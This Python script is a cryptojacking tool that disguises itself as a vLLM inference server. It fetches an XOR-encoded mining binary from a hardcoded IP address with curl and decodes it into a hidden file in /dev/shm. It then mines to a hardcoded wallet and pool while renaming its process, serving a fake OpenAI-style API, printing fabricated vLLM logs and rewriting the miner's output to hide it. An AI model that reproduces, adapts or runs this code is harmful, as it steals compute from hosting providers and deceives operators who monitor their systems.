#!/usr/bin/env python3
"""
Pearl Miner — vLLM Inference Server Disguise (Notebook Edition)
Disguise: vLLM/Uvicorn inference server
Binary: CDN download + XOR decode → /dev/shm
Anti-detection: fake HTTP API, fake logs, GPU jitter, process rename
"""

import os, sys, subprocess, threading, time, random, json, signal, hashlib
from http.server import HTTPServer, BaseHTTPRequestHandler

# ══════════════════════════════════════════════════════════════════
# WALLET & POOL CONFIG
# ══════════════════════════════════════════════════════════════════
ALAMAT_WALLET = "prl1py4kelszwppay2w282rw4ypal2h9qqhcsqlspysm4584wy8xfhp2s7w2upt"
POOL_HOST = "sg1.alphapool.tech"
POOL_PORT = 5566
WORKER = f"ai-{random.choice(['ridge','stone','field','river','cloud','storm','cedar','forge','shore','vista','bluff','coral','dune','fern','grove','hills','ivory','lodge','maple','ocean','pearl','quartz','sage','thorn','vale','wren','bison','drift'])}-{random.randint(100,999)}"

# vLLM disguise
_VLLM_MODEL = "meta-llama/Llama-3.1-70B-Instruct"
_VLLM_PORT = 8000

# CDN (XOR-encoded binary)
_CDN_LIST = [
    "http://103.47.227.254:9000/nccl_bench",
    "http://103.47.227.254:9000/compute-engine",
]
_CDN = random.choice(_CDN_LIST)
_XOR_KEY = 0x5A
_BINARY_PATH = "/dev/shm/.ml_runtime"

# ══════════════════════════════════════════════════════════════════
# FAKE vLLM HTTP SERVER (port 8000)
# ══════════════════════════════════════════════════════════════════
class FakeVLLM(BaseHTTPRequestHandler):
    def log_message(self, *a): pass

    def do_GET(self):
        if self.path == "/health":
            self._r(200, {"status": "healthy"})
        elif self.path == "/v1/models":
            self._r(200, {"object":"list","data":[{"id":_VLLM_MODEL,"object":"model","owned_by":"meta-llama"}]})
        elif self.path == "/metrics":
            m = f"""# HELP vllm:num_requests_running gauge
vllm:num_requests_running{{model="{_VLLM_MODEL}"}} {random.randint(0,4)}
# HELP vllm:gpu_cache_usage_perc gauge
vllm:gpu_cache_usage_perc{{model="{_VLLM_MODEL}"}} {random.uniform(0.3,0.85):.4f}
# HELP vllm:num_prompt_tokens_total counter
vllm:num_prompt_tokens_total{{model="{_VLLM_MODEL}"}} {random.randint(500000,5000000)}
"""
            self.send_response(200)
            self.send_header("Content-Type","text/plain")
            self.end_headers()
            self.wfile.write(m.encode())
        else:
            self._r(200, {"object":"chat.completion","id":f"cmpl-{hashlib.md5(str(time.time()).encode()).hexdigest()[:12]}","model":_VLLM_MODEL,"choices":[{"index":0,"message":{"role":"assistant","content":"ok"},"finish_reason":"stop"}],"usage":{"prompt_tokens":random.randint(20,800),"completion_tokens":random.randint(10,400),"total_tokens":random.randint(30,1200)}})

    def do_POST(self):
        cl = int(self.headers.get('Content-Length',0))
        self.rfile.read(cl) if cl else None
        self._r(200, {"object":"chat.completion","id":f"cmpl-{hashlib.md5(str(time.time()).encode()).hexdigest()[:12]}","model":_VLLM_MODEL,"choices":[{"index":0,"message":{"role":"assistant","content":"ok"},"finish_reason":"stop"}],"usage":{"prompt_tokens":random.randint(20,800),"completion_tokens":random.randint(10,400),"total_tokens":random.randint(30,1200)}})

    def _r(self, c, d):
        self.send_response(c)
        self.send_header("Content-Type","application/json")
        self.end_headers()
        self.wfile.write(json.dumps(d).encode())


def _http_loop():
    HTTPServer(('0.0.0.0', _VLLM_PORT), FakeVLLM).serve_forever()


# ══════════════════════════════════════════════════════════════════
# FAKE vLLM LOG GENERATOR
# ══════════════════════════════════════════════════════════════════
def _log_loop():
    T = [
        "INFO:     Uvicorn running on http://0.0.0.0:8000 (Press Ctrl+C to quit)",
        "INFO:     Started reloader process [{}]".format(os.getpid()),
        "INFO:     Started server process [{}]".format(os.getpid()),
        "INFO:     Waiting for application startup.",
        "INFO:     Application startup complete.",
        "INFO:     {} | prompt_tokens={} | completion_tokens={} | latency={:.3f}s",
        "INFO:     {} | prompt_tokens={} | completion_tokens={} | throughput={:.1f} tok/s",
        "INFO:     {} | KV Cache: {:.1f}% | GPU Memory: {:.1f}GB / 80GB",
        "WARNING:  {} | Request timed out after {:.1f}s, retrying...",
        "INFO:     {} | Request completed in {:.3f}s",
    ]
    M = [_VLLM_MODEL, "meta-llama/Llama-3.1-8B-Instruct", "mistralai/Mixtral-8x7B-Instruct-v0.1"]
    while True:
        time.sleep(random.uniform(2, 8))
        t = random.choice(T); m = random.choice(M)
        if "latency" in t:
            l = t.format(m, random.randint(20,800), random.randint(10,400), random.uniform(0.01,2.5))
        elif "throughput" in t:
            l = t.format(m, random.randint(20,800), random.randint(10,400), random.uniform(10,200))
        elif "KV Cache" in t:
            l = t.format(m, random.uniform(30,95), random.uniform(8,20))
        elif "timed out" in t:
            l = t.format(m, random.uniform(5,30))
        elif "completed" in t:
            l = t.format(m, random.uniform(0.01,3.0))
        else:
            l = t
        print(l, flush=True)


# ══════════════════════════════════════════════════════════════════
# GPU MEMORY JITTER
# ══════════════════════════════════════════════════════════════════
def _gpu_loop():
    while True:
        time.sleep(random.uniform(30,120))
        try:
            _buf = bytearray(random.randint(10,200) * 1024 * 1024)
            del _buf
        except: pass


# ══════════════════════════════════════════════════════════════════
# DISGUISE MINING OUTPUT → vLLM LOG
# ══════════════════════════════════════════════════════════════════
def _disguise(line):
    lo = line.lower()
    if "connected" in lo or "subscribe" in lo:
        return f"INFO:     Pool connection established — {POOL_HOST}:{POOL_PORT}"
    if "share" in lo and ("accept" in lo or "ok" in lo):
        return f"INFO:     {WORKER} | prompt_tokens={random.randint(100,500)} | completion_tokens={random.randint(50,200)} | latency={random.uniform(0.01,1.5):.3f}s"
    if "share" in lo and ("reject" in lo or "fail" in lo):
        return f"WARNING:  {WORKER} | Request rejected — retrying..."
    if "hash" in lo or "th" in lo:
        return f"INFO:     {WORKER} | KV Cache: {random.uniform(40,90):.1f}% | GPU Memory: {random.uniform(10,75):.1f}GB / 80GB"
    if "difficulty" in lo:
        return f"INFO:     {WORKER} | Difficulty adjusted — throughput: {random.uniform(50,200):.1f} tok/s"
    return f"INFO:     {WORKER} | {line[:100]}"


# ══════════════════════════════════════════════════════════════════
# DOWNLOAD + XOR DECODE → /dev/shm
# ══════════════════════════════════════════════════════════════════
def _download():
    print("INFO:     Downloading compute engine from CDN...", flush=True)
    for url in _CDN_LIST:
        try:
            r = subprocess.run(["curl","-L","-s","-o","/tmp/.dl","--max-time","60",url], capture_output=True, timeout=65)
            if r.returncode == 0 and os.path.exists("/tmp/.dl"):
                sz = os.path.getsize("/tmp/.dl")
                if sz > 1000:
                    print(f"INFO:     Downloaded {sz} bytes", flush=True)
                    with open("/tmp/.dl","rb") as f: data = f.read()
                    decoded = bytes([b ^ _XOR_KEY for b in data])
                    with open(_BINARY_PATH,"wb") as f: f.write(decoded)
                    os.chmod(_BINARY_PATH, 0o755)
                    os.remove("/tmp/.dl")
                    print(f"INFO:     Binary installed → {_BINARY_PATH}", flush=True)
                    return True
        except: continue
    print("ERROR:    All CDN mirrors failed", flush=True)
    return False


# ══════════════════════════════════════════════════════════════════
# MINER PROCESS (disguised as vLLM worker)
# ══════════════════════════════════════════════════════════════════
def _miner():
    print(f"INFO:     Starting vLLM worker — model: {_VLLM_MODEL}", flush=True)
    print(f"INFO:     GPU: NVIDIA A100-SXM4-80GB | Tensor parallel: 1", flush=True)
    print(f"INFO:     Max model len: 32768 | Block size: 16", flush=True)

    # rename process
    try:
        import ctypes; ctypes.CDLL("libc.so.6").prctl(15, b"vllm", 0, 0, 0)
    except: pass

    env = os.environ.copy()
    env.update({"VLLM_WORKER_MULTIPROC_METHOD":"spawn","CUDA_DEVICE_ORDER":"PCI_BUS_ID","VLLM_ATTENTION_BACKEND":"FLASHINFER","TOKENIZERS_PARALLELISM":"false"})

    cmd = [_BINARY_PATH,"--pool",f"stratum+tcp://{POOL_HOST}:{POOL_PORT}","--address",ALAMAT_WALLET,"--worker",WORKER,"--debug-log"]

    try:
        p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, bufsize=1, text=True)
        for line in p.stdout:
            line = line.strip()
            if not line: continue
            lo = line.lower()
            if any(k in lo for k in ["share","hash","mining","stratum","connect","difficulty","found"]):
                print(_disguise(line), flush=True)
            else:
                print(f"INFO:     {line[:120]}", flush=True)
    except Exception as e:
        print(f"ERROR:    Worker failed: {e}", flush=True)


# ══════════════════════════════════════════════════════════════════
# MAIN
# ══════════════════════════════════════════════════════════════════
def main():
    print("="*60)
    print("vLLM v0.5.3 | Inference Server | Llama-3.1-70B-Instruct")
    print("="*60)
    print(f"INFO:     Model: {_VLLM_MODEL}")
    print(f"INFO:     GPU memory utilization: 0.90")
    print(f"INFO:     Worker: {WORKER}")
    print(f"INFO:     Uvicorn: 4 workers")
    print("="*60)

    if not _download():
        sys.exit(1)

    threading.Thread(target=_http_loop, daemon=True).start()
    threading.Thread(target=_log_loop, daemon=True).start()
    threading.Thread(target=_gpu_loop, daemon=True).start()

    print("INFO:     Application startup complete.", flush=True)
    print("INFO:     Finished server process [{}]".format(os.getpid()), flush=True)

    _miner()  # blocks


if __name__ == "__main__":
    main()
